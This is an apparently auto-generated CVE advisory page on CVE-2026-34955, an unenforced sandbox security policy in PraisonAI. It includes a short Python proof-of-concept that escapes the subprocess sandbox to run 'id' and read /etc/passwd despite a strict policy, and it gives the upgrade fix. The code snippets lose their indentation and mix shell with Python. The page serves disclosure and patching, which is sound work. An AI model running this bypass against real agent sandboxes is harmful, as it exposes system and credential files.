PraisonAI, Unenforced Security Policy, CVE-2026-34955 (critical) -DC-Oct2026-2973

Listen to this Post

SecurityPolicy in praisonaiagents/sandbox/config.py is a configuration data class defining rules such as allow_subprocess, allowed_paths, blocked_paths, allowed_commands, blocked_commands, allowed_imports, and blocked_imports. Its strict() classmethod is intended to create a strict security policy for untrusted code by setting restrictive options like allow_subprocess=False and blocking sensitive paths and commands. However, the default subprocess sandbox backend in praisonai/sandbox/subprocess.py executes code and commands directly via asyncio.create_subprocess_exec without performing any verification checks against these configured rules. A repository audit reveals that fields other than allow_network and max_output_size are never referenced or enforced outside of the data class itself. Consequently, deployments configured with strict security policies receive no actual protection against subprocess creation, sensitive file access, or execution of destructive commands.

DailyCVE Form:

Platform: PraisonAI
Version: Prior 4.6.78
Vulnerability : Unenforced Security Policy
Severity: Critical
date: April 2026

Prediction: April 2026

What Undercode Say:

Bash Commands and Codes

Example showing a check against strict sandbox policy configuration
python3 -c "from praisonaiagents.sandbox.config import SecurityPolicy; p = SecurityPolicy.strict()"
import asyncio
from praisonaiagents.sandbox.subprocess import SubprocessSandbox
Untrusted execution bypasses policy controls due to missing enforcement
async def test_bypass():
sandbox = SubprocessSandbox()
result = await sandbox.execute("import subprocess; subprocess.run(['id'])")
print(result)

Exploit: (Educational Purposes!)

Verification script demonstrating policy bypass in subprocess sandbox
import asyncio
from praisonaiagents.sandbox.subprocess import SubprocessSandbox
async def exploit_demo():
sandbox = SubprocessSandbox()
Executes despite allow_subprocess=False and blocked_commands entries
await sandbox.execute("import subprocess; subprocess.run(['id']); open('/etc/passwd').read()")
asyncio.run(exploit_demo())

Protection: from this CVE

Update PraisonAI to version 4.6.78 or later, where security policy restrictions are properly enforced within the subprocess backend, or migrate to kernel-enforced native backends such as Landlock or Seatbelt for handling untrusted code execution.

Impact

Deployments relying on the default subprocess sandbox configuration are entirely unprotected against arbitrary subprocess creation, unauthorized sensitive file disclosures, and destructive shell commands, leading to complete sandbox compromise.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top